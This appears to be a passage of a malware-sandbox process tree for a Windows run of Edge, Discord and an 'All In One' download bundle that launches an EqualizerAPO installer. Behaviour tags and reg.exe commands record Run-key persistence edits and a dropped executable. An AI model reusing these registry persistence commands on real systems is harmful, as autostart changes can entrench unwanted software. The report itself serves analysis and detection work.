C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4428,i,9233723602466305313,5967632270356592066,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4440 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4504,i,12637966298289354635,5204498516047949365,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=1384 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4508,i,14636900098354946483,15101124952135538231,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4480 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1380,i,9378042461031569128,2687665146368708764,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4912 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4976,i,10959832690868147800,6367652258868423228,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4964 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=4268,i,4493709727475896871,1303740482096926783,262144 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4244 /prefetch:109⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4844,i,18322924505043680761,11119719153312097790,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4976 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4688,i,16408253013368780079,4066554208938964141,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=1272 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4164,i,16671466270064575994,15154274422618610310,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4552 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3876,i,1584027297534061519,10164182751117996264,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4824 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4956,i,16806013242976765763,8612667768204834804,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5176 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5312,i,6335450755985860674,2879549192500719534,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5336 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3880,i,1756538354509272551,12505809942467283217,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5160 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4076,i,6804875414193466178,15906318630918582039,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5088 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5040,i,8907706171650273851,12450756634019767089,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=4972 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --always-read-main-dll --metrics-shmem-handle=5320,i,1776509435349317985,17176216040700242494,2097152 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5680 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --always-read-main-dll --metrics-shmem-handle=5472,i,10408318613613472528,6733238254227320681,2097152 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5692 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5952,i,16248369399475256841,14849673639949129029,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=5992 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-US --service-sandbox-type=collections --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,6780156133818808128,15022724904539935843,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=6496 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --always-read-main-dll --metrics-shmem-handle=6492,i,12228038144631041242,1189619816941348330,2097152 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=6524 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6580,i,7354453606413155227,2184168838084351578,524288 --field-trial-handle=2492,i,3812830175677239411,200672377356729018,262144 --variations-seed-version --mojo-platform-channel-handle=6696 /prefetch:149⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window9⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x284,0x7fff741bc188,0x7fff741bc194,0x7fff741bc1a010⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1900,i,9493838262710974281,757313353237946364,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=2324 /prefetch:1110⤵
- System Time Discovery
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1684,i,2832491392269046695,4427349033501093219,262144 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=2284 /prefetch:210⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2504,i,7350367377365417068,15902343216991070251,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=3048 /prefetch:1310⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4456,i,4078530476573562243,4892465189022131820,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4456,i,4078530476573562243,4892465189022131820,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4472 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4528,i,4675320182665555239,14621005543643714657,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4540 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4544,i,16542389176710334385,6774040389987592326,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4944 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4524,i,11535840079545763554,950664820665111728,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4988 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5044,i,655625720114720810,6059838738675277346,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=3732 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5176,i,14082695174635039485,5979795048351474772,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4340,i,14154904604947745855,4199221976461933950,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5200 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5324,i,13109282654172443233,9523987613857026765,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5188 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=5252,i,18290750787965083777,13984558312172960255,262144 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5168 /prefetch:1010⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4080,i,12902988323477649078,16257255076681969502,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4756,i,7014687927101726885,133547934581985066,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5300 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4580,i,7234139267118810391,12220548090256958991,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4860,i,16710106533452007493,13708502704888634230,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5100 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4772,i,8158035507158626286,10695190302798307156,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5112 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4948,i,3533514499575410699,17957922296193444585,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4024 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,4857626352347787555,3966300647013377358,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=3196 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4708,i,7799252980619568639,18414957384566828625,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5312 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5112,i,17897228184237476666,14576713475793703597,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5092 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=824,i,9616114783896135562,9251522385591609450,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=4860 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4880,i,16693748972008698715,8922885455524737811,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=3864 /prefetch:1410⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=820,i,13394472551477329990,10141209146700341996,524288 --field-trial-handle=2288,i,7675496366806939594,14161195932960687882,262144 --variations-seed-version --mojo-platform-channel-handle=5196 /prefetch:1410⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --standard-schemes=disclip --secure-schemes=disclip,sentry-ipc --bypasscsp-schemes=sentry-ipc --cors-schemes=disclip,sentry-ipc --fetch-schemes=disclip,sentry-ipc --streaming-schemes=disclip --app-user-model-id=com.squirrel.Discord.Discord --app-path="C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\resources\_app.asar" --enable-sandbox --enable-blink-features=EnumerateDevices,AudioOutputDevices --autoplay-policy=no-user-gesture-required --disable-background-timer-throttling --enable-h264-mf --enable-h264-mf-zero-copy --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708995682289984 --mojo-platform-channel-handle=3948 --enable-node-leakage-in-renderers /prefetch:17⤵
-
-
C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe"C:\Users\Admin\AppData\Local\Discord\app-1.0.9255\Discord.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --user-data-dir="C:\Users\Admin\AppData\Roaming\discord" --gpu-preferences=SAAAAAAAAADoAAAEAAAAAAAAAAAAAGAAAQAAAAAAAAAAAAAAAAAAAEIAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1836,i,5457920713848285928,1496276814058514039,262144 --enable-features=DocumentPolicyIncludeJSCallStacksInCrashReports --disable-features=AllowAggressiveThrottlingWithWebSocket,AllowAggressiveThrottlingWithWebSocketWinRetrieveSuggestionsOnlyOnDemand,DropInputEventsWhilePaintHolding,HardwareMediaKeyHandling,IntensiveWakeUpThrottling,LocalNetworkAccessChecks,MediaSessionService,NetworkServiceSandbox,ScreenAIOCREnabled,SpareRendererForSitePerProcess,TraceSiteInstanceGetProcessCreation,UseEcoQoSForBackgroundProcess,WinRetrieveSuggestionsOnlyOnDemand --variations-seed-version --pseudonymization-salt-handle=1844,i,9785183422062033790,9597416567864891895,4 --trace-process-track-uuid=3190708996619331833 --mojo-platform-channel-handle=1660 /prefetch:107⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe query HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v Discord7⤵
- Modifies registry key
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run /v Discord /f7⤵
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "\"C:\Users\Admin\AppData\Local\Discord\Update.exe\" --processStart Discord.exe --process-start-args \"--start-inactive\"" /f7⤵
- Modifies registry key
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://cdn.discordapp.com/attachments/1496858153336442880/1496921103778578432/vencord-settings-backup-2026-04-23.json?ex=6a9463ea&is=6a93126a&hm=61bf3e54cc1b2c8183f21b009a4196939eb8f4f1a03e7acc98f9a067c0e509c6&7⤵
-
-
-
C:\Windows\System32\reg.exeC:\Windows\System32\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Discord /d "\"C:\Users\Admin\AppData\Local\Discord\Update.exe\" --processStart Discord.exe" /f6⤵
- Adds Run key to start application
- Modifies registry key
-
-
-
-
-
C:\Users\Admin\Downloads\All In One\All In One\Discord\FreeMic\EqualizerAPO\EqualizerAPO-x64-1.4.2.exe"C:\Users\Admin\Downloads\All In One\All In One\Discord\FreeMic\EqualizerAPO\EqualizerAPO-x64-1.4.2.exe"3⤵
- Drops file in Program Files directory
- Executes dropped EXE
